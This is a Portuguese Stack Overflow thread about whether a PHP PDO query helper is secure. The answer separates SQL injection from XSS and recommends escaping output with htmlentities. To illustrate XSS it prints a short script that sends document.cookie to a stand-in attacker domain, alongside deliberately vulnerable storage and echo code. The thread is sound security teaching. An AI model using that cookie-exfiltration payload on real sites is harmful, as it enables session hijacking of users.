1

Existe alguma falha de segurança ou possibilidade de ataques no trexo de código a baixo?

public static function prepareQuery($query, $params){

        $preparedQuery = self::getConn()->prepare($query);
        foreach ($params as $key => $value) {
            $preparedQuery->bindValue($key, $value);
        }

        $preparedQuery->execute();
        $result = $preparedQuery->fetchAll(PDO::FETCH_OBJ);

        return $result;
    }

Em especial para:

$result = $preparedQuery->fetchAll(PDO::FETCH_OBJ);

A entrada de tados que eu recebo em:

fetchAll(PDO::FETCH_OBJ)

é segura? Existe algum tipo de validação que eu possa fazer para evitar algum possível ataque ou código mal intencionado?

7
  • 1
    Olá Alan, andei observando que marcou uma das respostas como corretas nesta sua pergunta pt.stackoverflow.com/q/197797/3635, mas preciso lhe dizer ambas respostas estão totalmente erradas, a primeira que você marcou é uma gambiarra bem desnecessária e a outra responde sobre algo que não tem haver com SQL-injection. Recomendo que leia isto: pt.stackoverflow.com/a/188306/3635. Até mais.
    – Syzoth
    Commented 13/04/2017 às 16:39
  • @GuilhermeNascimento naquela pergunta o meu problema é com o seguinte trecho de código: "foreach ($_POST as $key => $value) $$key = $value;" Esse pedaço de código é apontado como "Code Injection" os valores das váriaveis recebidas são passadas para esse meu método aqui a cima q trata com prepare. Porém segundo o que eu conseguir entender é que eu tenho que tratar toda a entrada de dados. Eu não sei ainda qual é a melhor forma de fazer. Por isso, achei que aquela estava correta!
    – alan
    Commented 13/04/2017 às 17:00
  • 1
    o $_POST dentro de foreach ou não é a mesma situação de pt.stackoverflow.com/a/188306/3635, você pode até usar o foreach, mas prefira usa-lo junto com bindParam, a tua pergunta esta boa, o problema lá são as respostas do Carlos e do Gustavo que ensinam errado.
    – Syzoth
    Commented 13/04/2017 às 17:02
  • O meu problema é q eu tenho um documento de analise de segura do sistema feito pela "t-systems-mms.com" onde são apontadas várias falhas de seguranças com o tipo de falha e o nível. Também é mostrado as linhas q contem falhas e é destacado em vermelho o trecho que possui falha. no trecho: "foreach ($_POST as $key => $value) $$key = $value;" eu tenho as váriavés $_POST e $value marcados de vermelho e o trecho completo marcado como "Code Injection". Eu não tenho certeza mas acredito que essa criação automatica de variaveis possa gerar a execução de código externo.
    – alan
    Commented 13/04/2017 às 17:13
  • Acontece que nesse seu código, você não está validando absolutamente nada está simplesmente construindo a query. Além do mais, o bindValue é algo bem direito.
    – Edilson
    Commented 13/04/2017 às 17:45

1 Resposta 1

3

XSS é uma coisa e SQL-Injection é outra totalmente diferente, apesar de ambas poderem (sempre) se originarem da mesma fonte:

SQL-injection

Ocorre se o usuário puder manipular ou quebrar a query. Quando usamos bindValue e bindParam, as próprias APIs nativas já "tratam" isso. Recomendo que leia esta outra resposta minha:

XSS

É a injeção de código que será posteriormente exibidos na página. Isso pode ocorrer com bindParam pois não é um problema de SQL. Qualquer meio de armazenamento que mostre os dados na página posteriormente pode sofrer desta falha, por exemplo: ao invés de salvar os dados em um banco, o site salva em um .txt:

salvar.php

file_put_contents('mural.txt', $_POST['mensagem'], FILE_APPEND);

E na hora de exibir o mural.txt fizesse apenas isto:

exibir.php

echo file_get_contents('mural.txt');

Qualquer coisa que foi enviada no $_POST['mensagem'], será exibida diretamente, até mesmo HTML, JS e CSS que foram criados por quem enviou. Nisso, pode ocorrer a exploração dos dados, como ler e sequestrar os cookies se o JS enviado fizer algo como:

<script>
var q = document.createElement('script');
q.src = "http://www.sitequevaisequestraroscookies.com/pagina?cookies=" + encodeURI(document.cookie);
document.body.appendChild(q);
</script>

É um código de exemplo só para entender como ocorre.

Conclusão

Creio que bindParam e bindValue já resolve o SQL-injection, mas o XSS você pode resolver de outra maneira. As pessoas falam para fazer coisas como:

 $preparedQuery->bindValue($key, htmlentities($_POST['mensagem']));

Ou:

 $preparedQuery->bindValue($key, strip_tags($_POST['mensagem']));

Sim, são coisas que funcionam, mas existe um problema, não de segurança, mas de quebra nos dados. Eu pessoalmente sou a favor de salvar os dados da maneira que vieram, somente tratando para evitar SQL-injection, e o XSS deveria ser resolvido na hora de exibir os dados e não na hora de gravar. Isso porque é muito comum de ocorrer perda de caractéres e coisas do gênero, o que pode fazer os dados do banco ficarem "quebrados" e impossível de recuperar.

Não vou entrar em detalhes, não é bem culpa do strip_tags ou htmlentities. O que ocorre é que muitas vezes as pessoas migram os dados ou mudam as páginas/sistemas e etc e nestas manutenções as coisas podem se perder. Fora que se os dados forem reaproveitados em um sistema "não web" pode ocorrer de ficar assim na GUI:

&lt;p&gt;olá&lt;/p&gt;

Imagine que o seu sistema tem tutoriais sobre HTML ou outras linguagens. Poderá perder a formatação. Muitos sistemas de fóruns como IP.Board (o qual usei uma época) perdeu muitos dados conforme os upgrades para novas versões.

Ou seja grave da maneira que veio e faça o tratamento na hora de exibir:

while ($row = $q->fetch(PDO::FETCH_ASSOC)) {
    echo 'Nome: ', htmlentities($row['nome']), '<br>',
         'mensagem: ', htmlentities($row['mensagem']), '<hr>';
}

Claro que se quiser usar strip_tags e for seu objetivo de fato não falar de códigos em nenhum local do site, pode se usar no momento da gravação. Mas pense assim: se for um sistema de chamados do qual você precisa passar para outro analista um código que tenha trechos HTML ou algo assim, ao limpar a string a mensagem perderá o sentido, então trocar os caracteres HTML por entidades seria mais adequado a situação.

3
  • 1
    Obrigado pelos esclarecimentos @Guilherme Nascimento! Eu nunca havia me preocupado antes com algum possível ataque vindo diretamente do banco de dados! :)
    – alan
    Commented 13/04/2017 às 16:44
  • Acho que poderia adicionar mais exemplos no XSS, se não posso postar depois, estou em viajem, fica difícil. :(. Mas, por exemplo, se a pessoa utilizar o PHP_SELF (e similares) no form, não tratar upload de imagens (em principal) e arquivos. Um outro caso é fazer um echo comum de uma variável, do banco de dados ou do GET/POST. E o XSS tem muito mais forma de "resolver" (na verdade reduzir os danos), como por exemplo adicionar o header de Content-Security-Policy.
    – Inkeliz
    Commented 13/04/2017 às 19:59
  • @Inkeliz deve ter alguma pergunta especifica sobre o assunto, sim estou ciente sobre o Content-Security-Policy, a ideia aqui era explicar que talvez tratar antes (exceto o sql-injection) pode não ser uma boa, devido a possibilidade de "truncar" os dados, não sei se já viu aqueles blogs wordpress mais antigos, que falam de programação, muitos deles após o update do wordpress truncaram os tutoriais fazendo muita coisa se perder, isto também ocorreu com sistemas de fórum como IP.Board
    – Syzoth
    Commented 13/04/2017 às 20:06

Você deve fazer log-in para responder a esta pergunta.

Esta não é a resposta que você está procurando? Pesquise outras perguntas com a tag .